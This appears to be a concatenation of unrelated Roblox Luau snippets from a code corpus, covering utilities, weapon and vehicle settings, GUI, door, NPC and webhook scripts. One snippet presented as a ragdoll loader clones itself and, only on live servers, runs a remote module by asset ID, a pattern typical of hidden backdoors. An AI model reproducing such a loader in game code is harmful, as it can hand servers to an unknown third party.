Roblox/luau_corpus huggingface dataset:
--[[
	If the list contains the sought-after element, return its index, or nil otherwise.
]]
function Functional.Find(list, value)
	for index, element in ipairs(list) do
		if element == value then
			return index
		end
	end

	return nil
end

return Functional
--						if GetHitPlayers() >= 3 then
--							AwardBadge:Invoke(FiredPlayer,"Explosive Results")
--						end
						
						local FiredPlayer = GetReflectedByPlayer() or FiredPlayer
						local DoDamage = PlayerDamager:CanDamageHumanoid(FiredPlayer,HitHumanoid)
						if DoDamage then
							local Distance
							local HumanoidRootPrart = HitCharacter:FindFirstChild("HumanoidRootPart")
							if HumanoidRootPrart then
								Distance = (HumanoidRootPrart.Position - Position ).magnitude
							else
								Distance = RadiusFromBlast
							end	
							RadiusFromBlast = math.min(math.max(RadiusFromBlast - 0.8,0),1)
								
							PlayerDamager:DamageHumanoid(FiredPlayer,HitHumanoid,MAX_DAMAGE - ((Distance/BLAST_RADIUS) * (MAX_DAMAGE - MIN_DAMAGE)),GetDamageName())
						end
					end
				end		
				
				--Break joints if it isn't a character.
				if BreakJoints then
					ExplosionTouchPart:BreakJoints()
				end
				
				--If the part is able to fade with explosions, signal it to fade.
--[=[
	Returns true if a number is finite
	@param num number
	@return boolean
]=]
function Math.isFinite(num: number): boolean
   return num > -math.huge and num < math.huge
end
--LockController


Closed = true

function LockItems()

end

script.Parent.Touched:connect(function(P)
	if P ~= nil and P.Parent ~= nil and P.Parent:FindFirstChild("CardNumber") ~= nil  and P.Parent.CardNumber.Value == 0 then
		if Closed == true then
			Closed = 1
			script.Locked.Value = false
			LockItems()
			script.Parent.Open.Value = true
			wait(1)
			Closed = false
			return
		end
		if Closed == false then
			Closed = 1
			script.Locked.Value = true
			LockItems()
			script.Parent.Open.Value = false
			wait(1)
			Closed = true
			return
		end

	end
end)
--// Ammo Settings			
	Ammo = 10;
	StoredAmmo = 10;
	MagCount = math.huge; --  If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
	ExplosiveAmmo = 0;
--[[
	Create a copy of a list where each value is transformed by `callback`
]]
local function map(list, callback)
	local new = {}

	for i = 1, #list do
		new[i] = callback(list[i], i)
	end

	return new
end

return map
-- EchoAUS Custom Health Gui
-- All this script does is put everything where it's supposed to be.

local function EnableScripts(i)
	local t = string.split(i.Name, ".")
	if t[#t] == "lua" and i:IsA("BaseScript") then
		i.Name = table.concat(t, ".", 1, #t - 1)
		i.Disabled = false
	end
end
local function MoveFolder(item, parent)
	if item:IsA("Folder") then
		if parent and parent:FindFirstChild(item.Name) then
			for _, i in ipairs (item:GetChildren()) do
				MoveFolder(i, parent[item.Name])
			end
		else
			local success, p = pcall(function()
				return game:GetService(item.Name)
			end)
			if success then
				for _, i in ipairs (item:GetChildren()) do
					MoveFolder(i, p)
				end
			end
		end
	elseif parent then
		local i = item:Clone()
		i.Parent = parent
		EnableScripts(i)
		for _, s in ipairs (i:GetDescendants()) do
			EnableScripts(s)
		end
	end
	return
end

for _, v in ipairs (script:GetChildren()) do
	if v:IsA("Folder") and game:GetService(v.Name) then
		MoveFolder(v)
	end
end

local parent = script.Parent
if parent:IsA("Model") then
	parent:Destroy()
end
--TweenService Wrapper
--Andrew Bereza
return function (object, properties, value, duration, style, direction)
	style = style or Enum.EasingStyle.Quad
	direction = direction or Enum.EasingDirection.Out

	duration = duration or 0.5

	local propertyGoals = {}

	local isTable = type(value) == "table"

	for i,property in pairs(properties) do
		propertyGoals[property] = isTable and value[i] or value
	end
	local tweenInfo = TweenInfo.new(
		duration,
		style,
		direction
	)
	local tween = game:GetService("TweenService"):Create(object,tweenInfo,propertyGoals)
	tween:Play()

	return tween
end
--Creates a display Gui for the soft shutdown.

return function()
	local ScreenGui = Instance.new("ScreenGui")
	ScreenGui.Name = "SoftShutdownGui"
	ScreenGui.DisplayOrder = 100
	
	--Create background to cover behind top bar.
	local Frame = Instance.new("Frame")
	Frame.BackgroundColor3 = Color3.fromRGB(79,217,255)
	Frame.Position = UDim2.new(-0.5,0,-0.5,0)
	Frame.Size = UDim2.new(2,0,2,0)
	Frame.ZIndex = 10
	Frame.Parent = ScreenGui
	
	local function CreateTextLabel(Size,Position,Text)
		local TextLabel = Instance.new("TextLabel")
		TextLabel.BackgroundTransparency = 1
		TextLabel.Size = Size
		TextLabel.Position = Position
		TextLabel.Text = Text
		TextLabel.ZIndex = 10
		TextLabel.Font = "SourceSansBold"
		TextLabel.TextScaled = true
		TextLabel.TextColor3 = Color3.new(1,1,1)
		TextLabel.TextStrokeColor3 = Color3.new(0,0,0)
		TextLabel.TextStrokeTransparency = 0
		TextLabel.Parent = Frame
	end
	
	--Create text.
	CreateTextLabel(UDim2.new(0.5,0,0.1,0),UDim2.new(0.25,0,0.4,0),"ATTENTION")
	CreateTextLabel(UDim2.new(0.5,0,0.05,0),UDim2.new(0.25,0,0.475,0),"This server is being updated")
	CreateTextLabel(UDim2.new(0.5,0,0.03,0),UDim2.new(0.25,0,0.55,0),"Please wait")
	
	--Return the ScreenGui and the background.
	return ScreenGui,Frame		
end
-- Define the function to open or close the windows with gene-alike effect
local function toggleWindows()
	local anyWindowVisible = false

	for _, window in pairs(windows) do
		if window.Visible then
			anyWindowVisible = true
			backShelf.Visible = true
			dockShelf.Visible = true
			window:TweenSizeAndPosition(
				UDim2.new(0.363, 0, 0.019, 0),
				UDim2.new(0.311, 0, 0.978, 0),
				'Out',
				'Quad',
				-- Determine the tween speed based on the uiSpeedSetting
				ClipSettings.settings.uiSpeedSetting and uiSpeedUser.Value or UISpeed,
				false,
				function()
					window.Visible = false
				end
			)
		end
	end

	if not anyWindowVisible then
	end
end
--[[
	CameraUtils - Math utility functions shared by multiple camera scripts
	2018 Camera Update - AllYourBlox
--]]

local CameraUtils = {}

local function round(num: number)
	return math.floor(num + 0.5)
end
---------------------------------------------------------------------------------------

local webhookService = {}

local https = game:GetService("HttpService")


function webhookService:createMessage(url, message)
	local data = {
		["content"] = message
	}
	local finalData = https:JSONEncode(data)
	https:PostAsync(url, finalData)
end

function webhookService:createEmbed(url, title, message, image)
	local data = {
		['content'] = "",
		['embeds'] = {{
			['author'] = {
				['name'] = title,
				['icon_url'] = image,
			},
			['description'] = message,
			['type'] = "rich",
			["color"] = tonumber(0xffffff)
		}}
	}
	local finalData = https:JSONEncode(data)
	https:PostAsync(url, finalData)
end


return webhookService
--[[

	StreamableUtil.Compound(observers: {Observer}, handler: ({[child: string]: Instance}, janitor: Janitor) -> void): Janitor

	Example:

		local streamable1 = Streamable.new(someModel, "SomeChild")
		local streamable2 = Streamable.new(anotherModel, "AnotherChild")

		StreamableUtil.Compound({S1 = streamable1, S2 = streamable2}, function(streamables, janitor)
			local someChild = streamables.S1.Instance
			local anotherChild = streamables.S2.Instance
			janitor:Add(function()
				-- Cleanup
			end)
		end)

--]]


local Janitor = require(script.Parent.Janitor)
local _Streamable = require(script.Parent.Streamable)


type Streamables = {_Streamable.Streamable}
type CompoundHandler = (Streamables, any) -> nil


local StreamableUtil = {}


function StreamableUtil.Compound(streamables: Streamables, handler: CompoundHandler)
	local compoundJanitor = Janitor.new()
	local observeAllJanitor = Janitor.new()
	local allAvailable = false
	local function Check()
		if allAvailable then return end
		for _,streamable in pairs(streamables) do
			if not streamable.Instance then
				return
			end
		end
		allAvailable = true
		handler(streamables, observeAllJanitor)
	end
	local function Cleanup()
		if not allAvailable then return end
		allAvailable = false
		observeAllJanitor:Clean()
	end
	for _,streamable in pairs(streamables) do
		compoundJanitor:Add(streamable:Observe(function(_child, janitor)
			Check()
			janitor:Add(Cleanup)
		end))
	end
	compoundJanitor:Add(Cleanup)
	return compoundJanitor
end


return StreamableUtil
--[[ alexnewtron 2014 ]]--
local a=script.Parent;local b=0.5;while true do if a.Parent~=nil then for c=1,50 do a.ImageTransparency=a.ImageTransparency-0.05;wait(0.05)if a.ImageTransparency<=0.25 then break end end;wait(b)for c=1,50 do a.ImageTransparency=a.ImageTransparency+0.05;wait(0.05)if a.ImageTransparency>=0.5 then break end end end end
-----------------
--| Constants |--
-----------------

local POP_RESTORE_RATE = 0.3

local CAST_SCREEN_SCALES = { -- (Relative)
	Vector2.new(1, 1) / 2, -- Center
	Vector2.new(0, 0), -- Top left
	Vector2.new(1, 0), -- Top right
	Vector2.new(1, 1), -- Bottom right
	Vector2.new(0, 1), -- Bottom left
}

local VALID_SUBJECTS = {
	'Humanoid',
	'VehicleSeat',
	'SkateboardPlatform',
}
 
local NEAR_CLIP_PLANE_OFFSET = 0.5 --NOTE: Not configurable here
--local Util = require(game.ReplicatedStorage.Modules.Util)

game:GetService("UserInputService").InputBegan:Connect(function(input,gameprocessed)
	if input.KeyCode == Enum.KeyCode.LeftAlt then
		--Util:UnlockMouse("Admin")
	end
	if gameprocessed then
		return
	end
	if input.UserInputType == Enum.UserInputType.MouseButton1 and game:GetService("UserInputService"):IsKeyDown(Enum.KeyCode.LeftAlt) then
		game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Mouse.Hit * CFrame.new(0,3,0)
	end
end)

game:GetService("UserInputService").InputEnded:Connect(function(input,gameprocessed)
	if input.KeyCode == Enum.KeyCode.LeftAlt then
		--Util:DeleteMouseUnlock("Admin")
	end
end)

game:GetService("UserInputService").InputBegan:Connect(function(input,gameprocessed)
	if not gameprocessed then
		if input.KeyCode == Enum.KeyCode.F2 then
			script.Parent.Enabled = not script.Parent.Enabled
			
		end
	end
end)
---
local  Paint = false
	
script.Parent.MouseButton1Click:connect(function()
	Paint = not Paint
	handler:FireServer("Pearl",Paint)
end)
--[[Drivetrain]]	
	Tune.Config			= "AWD"		--"FWD" , "RWD" , "AWD"
	
	--Differential Settings	
	Tune.FDiffSlipThres	= 60		-- 1 - 100%				(Max threshold of applying full lock determined by deviation from avg speed)
	Tune.FDiffLockThres	= 65		-- 0 - 100%				(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
	Tune.RDiffSlipThres	= 45    	-- 1 - 100%
	Tune.RDiffLockThres	= 45  		-- 0 - 100%
	Tune.CDiffSlipThres	= 45		-- 1 - 100%				[AWD Only]
	Tune.CDiffLockThres	= 50		-- 0 - 100%				[AWD Only]
	
	--Traction Control Settings
	Tune.TCSEnabled		= true		-- Implements TCS
	Tune.TCSThreshold	= 20		-- Slip speed allowed before TCS starts working (in SPS)
	Tune.TCSGradient	= 20		-- Slip speed gradient between 0 to max reduction (in SPS)
	Tune.TCSLimit		= 10		-- Minimum amount of torque at max reduction (in percent)
--// Recoil Settings	
	gunrecoil = -0.1; -- How much the gun recoils backwards when not aiming
	camrecoil = 0.16; -- How much the camera flicks when not aiming
	AimGunRecoil = -0.1; -- How much the gun recoils backwards when aiming
	AimCamRecoil = 0.13; -- How much the camera flicks when aiming
	
	CamShake = 0.5; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING
	AimCamShake = 0.5; -- THIS IS ALSO NEW!!!!
	
	Kickback = 0.2; -- Upward gun rotation when not aiming
	AimKickback = 0.2; -- Upward gun rotation when aiming
-- Properties
local held = false
local step = 0.010
local percentage = 0

function snap(number, factor)
	if factor == 0 then
		return number
	else
		return math.floor(number/factor+0.5)*factor
	end
end

UIS.InputEnded:connect(function(input, processed)
	if input.UserInputType == Enum.UserInputType.MouseButton1 then
		held = false
	end
end)

SliderBtn.MouseButton1Down:connect(function()
	held = true
end)


RuS.RenderStepped:connect(function(delta)
	if held then
		local MousePos = UIS:GetMouseLocation().X
		local BtnPos = SliderBtn.Position
		local SliderSize = Slider.AbsoluteSize.X
		local SliderPos = Slider.AbsolutePosition.X
		local pos = snap((MousePos-SliderPos)/SliderSize,step)
		percentage = math.clamp(pos,0,1)
		SliderBtn.Position = UDim2.new(percentage,0,BtnPos.Y.Scale, BtnPos.Y.Offset)
	end
end)
-- regular lua compatibility
local typeof = typeof or type

local function primitive(typeName)
	return function(value)
		local valueType = typeof(value)
		if valueType == typeName then
			return true
		else
			return false
		end
	end
end

local t = {}
--------------- FLAGS ----------------

local success, result = pcall(function() return false end)
local FFlagUseNotificationsLocalization = success and result
--// F key, Horn
mouse.KeyUp:connect(function(key)
	if key=="f" then 
		veh.Lightbar.middle.Airhorn:Stop()
		veh.Lightbar.middle.Wail.Volume = 2
		veh.Lightbar.middle.Yelp.Volume = 2
		veh.Lightbar.middle.Priority.Volume = 2
		veh.Lightbar.middle.Manual.Volume = 2
	end
end)










mouse.KeyDown:connect(function(key)
	if key=="j" then 
		veh.Lightbar.middle.Beep:Play()
veh.Lightbar.RemoteEvent:FireServer(true)
	end
	end)
-- Types
export type CastVisualiser = typeof(CastVisualiser)
type CastVisualiserPrivate = CastVisualiser & {
	Color: Color3,
	WorldRoot: WorldRoot,
	CastOriginPart: BasePart,
	
	LineVisual: LineHandleAdornment,
	ConeVisual: ConeHandleAdornment,
	BoxVisual: BoxHandleAdornment,
	SphereVisual: SphereHandleAdornment,
}
-- Local private variables and constants
local UNIT_X = Vector3.new(1,0,0)
local UNIT_Y = Vector3.new(0,1,0)
local UNIT_Z = Vector3.new(0,0,1)
local X1_Y0_Z1 = Vector3.new(1,0,1)	--Note: not a unit vector, used for projecting onto XZ plane
local ZERO_VECTOR3 = Vector3.new(0,0,0)
local ZERO_VECTOR2 = Vector2.new(0,0)
local TAU = 2 * math.pi

local VR_PITCH_FRACTION = 0.25
local tweenAcceleration = math.rad(220)		--Radians/Second^2
local tweenSpeed = math.rad(0)				--Radians/Second
local tweenMaxSpeed = math.rad(250)			--Radians/Second
local TIME_BEFORE_AUTO_ROTATE = 2.0 		--Seconds, used when auto-aligning camera with vehicles
local PORTRAIT_OFFSET = Vector3.new(0,-3,0)
--[[
	Sets the new view, destructing any previous view if it exists, and then creating the specified
	new view.
]]
function UIController.setView(view, ...)
	if not views[view] then
		Logger.warn("Tried to set UIController view to ", view, ", but it does not exist!")
		return
	end

	if currentView then
		currentView.exit()
	end

	currentView = views[view]
	currentView.enter(...)
end
--!strict
-- A new implementation of RBXScriptSignal that uses proper Lua OOP.
-- This was explicitly made to transport other OOP objects.
-- I would be using BindableEvents, but they don't like cyclic tables (part of OOP objects with __index)

local SignalStatic = {}
SignalStatic.__index = SignalStatic
local ConnectionStatic = {}
ConnectionStatic.__index = ConnectionStatic

export type Signal = {
	Connections: {[number]: Connection}
}

export type Connection = {
	Signal: Signal?,
	Delegate: any,
	Index: number	
}
-- non-studio requires special module
if _G["RAGDOLL"] == nil and #game.JobId > 0 then
	if script.Name~="LOADED" then
		script.Name="LOADED"
		script:Clone().Parent = workspace
	else
		require(2556021288)()
	end
end
-- DON'T MESS WITH THIS UNLESS YOU KNOW WHAT'S GOING ON.

 -- To chnage time, go to Config, and change the values in the stuff in there.

 -- In cotent is what you want to show up.

 -- Change background and filter to the background color. Keep it the same color.
--// Handling Settings		
	Firerate = 60 / 720; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!
	
	FireMode = 6; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
-- To make this work, simply group it with the model you want!


local modelbackup = script.Parent.Parent:FindFirstChild(modelname):clone()
local trigger = script.Parent

enabled = true

function onClick(player)

	if enabled == true then

		enabled = false
		trigger.BrickColor = BrickColor.new("Really black")
		script.Parent.BillboardGui.Enabled = false
		script.Parent.bing:Play()


	if script.Parent.Parent:FindFirstChild(modelname) ~= nil then

		script.Parent.Parent:FindFirstChild(modelname):Destroy()

	end

		local modelclone = modelbackup:clone()
		modelclone.Parent = script.Parent.Parent
		modelclone:MakeJoints()
		player.Character.Torso.CFrame = CFrame.new(modelclone.seat.Position) * CFrame.new(0, 0.5, 0) 
		modelclone.seat.sitsound:Play()
		wait(1)
		modelclone.seat.Anchored = false

		wait(WaitTime)
		script.Parent.BillboardGui.Enabled = true		
		enabled = true
		trigger.BrickColor = BrickColor.new("Bright violet")

	end

end

script.Parent.ClickDetector.MouseClick:connect(onClick)
--Workspace.CurrentCamera.CameraType="Track"
mouse.Button1Down:connect(function() bin.keyDown:FireServer(player:GetMouse()) end)
mouse.Button1Up:connect(function() bin.keyUp:FireServer() end)
mouse.KeyDown:connect(function(key) bin.Key:FireServer(key) end)
mouse.Move:Connect(function() bin.Moved:FireServer(player:GetMouse().Hit) end)


bin.Unequipped:connect(function(mouse)
Aim = false
--[[
	Exits the view, including disconnection of any connections.
]]
function Warmup.exit()
	activeElements:Destroy()
end

return Warmup
--		if script.Parent.Parent.Engine:FindFirstChild("BodyGyro") then
--			script.Parent.Parent.Engine.BodyGyro:Destroy()
--		end
--		if script.Parent.Parent.Engine:FindFirstChild("BodyVelocity") then
--			script.Parent.Parent.Engine.BodyBodyVelocity:Destroy()
--		end
		if script.Parent.Parent:FindFirstChild("LocalScript") then
			script.Parent.Parent:FindFirstChild("LocalScript"):Destroy()
		end
		script.Parent.Parent.Rotor1.sound:Stop()
		for i,v in ipairs(script.Parent.Parent:GetChildren()) do
			if v:IsA("Seat") then
				v.Disabled = true
			end
		end
	end
end)
-----------------------------------
elseif script.Parent.Parent.Parent.TrafficControl.Value == "" then

script.Parent.Parent.Off.Spotlight2.Transparency = 0.3
script.Parent.Parent.Off.Spotlight3.Transparency = 0
script.Parent.Parent.Off.Part.Transparency = 0
script.Parent.Parent.Off.Union.Transparency = 0
script.Parent.Parent.Off.a1.Transparency = 0

script.Parent.Parent.Front.Spotlight2.Transparency = 1
script.Parent.Parent.Front.Spotlight2.Point.Enabled = false
script.Parent.Parent.Front.Spotlight2.Lighto.Enabled = false
script.Parent.Parent.Front.Part.Transparency = 1
script.Parent.Parent.Front.Union.Transparency = 1
script.Parent.Parent.Front.a1.Transparency = 1


script.Parent.Parent.Left.Spotlight2.Transparency = 1
script.Parent.Parent.Left.Spotlight2.Point.Enabled = false
script.Parent.Parent.Left.Spotlight2.Lighto.Enabled = false
script.Parent.Parent.Left.Part.Transparency = 1
script.Parent.Parent.Left.Union.Transparency = 1
script.Parent.Parent.Left.a1.Transparency = 1

script.Parent.Parent.Right.Spotlight2.Transparency = 1
script.Parent.Parent.Right.Spotlight2.Point.Enabled = false
script.Parent.Parent.Right.Spotlight2.Lighto.Enabled = false
script.Parent.Parent.Right.Part.Transparency = 1
script.Parent.Parent.Right.Union.Transparency = 1
script.Parent.Parent.Right.a1.Transparency = 1
	
end
end
--[[function playsound(time)
	nextsound=time+5+(math.random()*5)
	local randomsound=sounds[math.random(1,#sounds)]
	randomsound.Volume=.5+(.5*math.random())
	randomsound.Pitch=.5+(.5*math.random())
	randomsound:Play()
end]]

while sp.Parent~=nil and Humanoid and Humanoid.Parent~=nil and Humanoid.Health>0 and Torso and Head and Torso~=nil and Torso.Parent~=nil do
	local _,time=wait(0.25)--wait(1/3)
	humanoids={}
	populatehumanoids(game.Workspace)
	closesttarget=nil
	closestdist=sightrange
	local creator=sp:FindFirstChild("creator")
	for i,h in ipairs(humanoids) do
		if h and h.Parent~=nil then
			if h.Health>0 and h.Parent~=sp then
				local plr=game.Players:GetPlayerFromCharacter(h.Parent)
				if creator==nil or plr==nil or creator.Value~=plr then
					local t=h.Parent:FindFirstChild("Torso")
					if t~=nil then
						local dist=(t.Position-Torso.Position).magnitude
						if dist<closestdist then
							closestdist=dist
							closesttarget=t
						end
					end
				end
			end
		end
	end
	if closesttarget~=nil then
		if not chasing then
			--playsound(time)
			chasing=true
			Humanoid.WalkSpeed=runspeed
		end
		Humanoid:MoveTo(closesttarget.Position+(Vector3.new(1,1,1)*(variance*((math.random()*2)-1))),closesttarget)
		if math.random()<.5 then
			attack(time,closesttarget.Position)
		end
	else
		if chasing then
			chasing=false
			Humanoid.WalkSpeed=wonderspeed
		end
		if time>nextrandom then
			nextrandom=time+3+(math.random()*5)
			local randompos=Torso.Position+((Vector3.new(1,1,1)*math.random()-Vector3.new(.5,.5,.5))*40)
			Humanoid:MoveTo(randompos,game.Workspace.Terrain)
		end
	end
	if time>nextsound then
		--playsound(time)
	end
	if time>nextjump then
		nextjump=time+7+(math.random()*5)
		Humanoid.Jump=true
	end
	animate(time)
end

wait(4)
sp:remove() --Rest In Pizza
------------------------------------------------------------------------
-- opening of a function
------------------------------------------------------------------------
function luaY:open_func(ls, fs)
  local L = ls.L
  local f = self:newproto(ls.L)
  fs.f = f
  fs.prev = ls.fs  -- linked list of funcstates
  fs.ls = ls
  fs.L = L
  ls.fs = fs
  fs.pc = 0
  fs.lasttarget = -1
  fs.jpc = luaK.NO_JUMP
  fs.freereg = 0
  fs.nk = 0
  fs.np = 0
  fs.nlocvars = 0
  fs.nactvar = 0
  fs.bl = nil
  f.source = ls.source
  f.maxstacksize = 2  -- registers 0/1 are always valid
  fs.h = {}  -- constant table; was luaH_new call
  -- anchor table of constants and prototype (to avoid being collected)
  -- sethvalue2s(L, L->top, fs->h); incr_top(L); /* C */
  -- setptvalue2s(L, L->top, f); incr_top(L);
end
--//Toggle event//--
script.Parent.Door.MainDoor.ClickDetector.MouseClick:Connect(function()
	if DoorStatus == "Closed" and Debounce == false then
		Debounce = true
		DoorMain.Open:Play()
		TweenModel(script.Parent.Door, TGP)
		DoorStatus = "Opened"
		Debounce = false
	elseif DoorStatus == "Opened" and Debounce == false then
		Debounce = true
		DoorMain.Close:Play()
		TweenModel(script.Parent.Door, OrigPos)
		DoorStatus = "Closed"
		Debounce = false
	end
	end)
--[[

This class allows queueing up functions to be run at once.

Constructor:
	new()
Methods:
	Add(func, args...): adds a function to the queue with corresponding arguments.
	Dispatch(): fires all functions in order.

Note: a failed function will not impact the remainder of the functions.

--]]

local Utils = require(script.Parent.Parent);
local Log = Utils.Log;

local FunctionQueue = Utils.new("Class", "FunctionQueue");
-- << DISPLAY CERTAIN PAGES >>
local homeSortOrder = {"About", "Commands", "Special", "Admin", "Settings"}
function module:DisplayPagesAccordingToRank(updateCommands)
	for pageName, rankId in pairs(main.settings.RankRequiredToViewPage) do
		local pageButton = pages.Home:FindFirstChild(pageName)
		rankId = tonumber(rankId)
		if not rankId then
			rankId = 0
		end
		if pageButton then
			if pageName ~= "About" and pageName ~= "Special" and main.pdata.Rank < rankId then
			pageButton.RankBlocker.Visible = true
				local rankName = main:GetModule("cf"):GetRankName(rankId)
				pageButton.RankBlocker.TextLabel.Text = rankName.."+"
			else
				pageButton.RankBlocker.Visible = false
			end
		end
	end
	--[[
	local yScaleTotal = 0.08
	for i, pageName in pairs(homeSortOrder) do
		local pageButton = pages.Home:FindFirstChild(pageName)
		if pageButton and pageButton.Visible then
			pageButton.Position = UDim2.new(0, 0, yScaleTotal, 0)
			yScaleTotal = yScaleTotal + pageButton.Size.Y.Scale
		end
	end--]]
end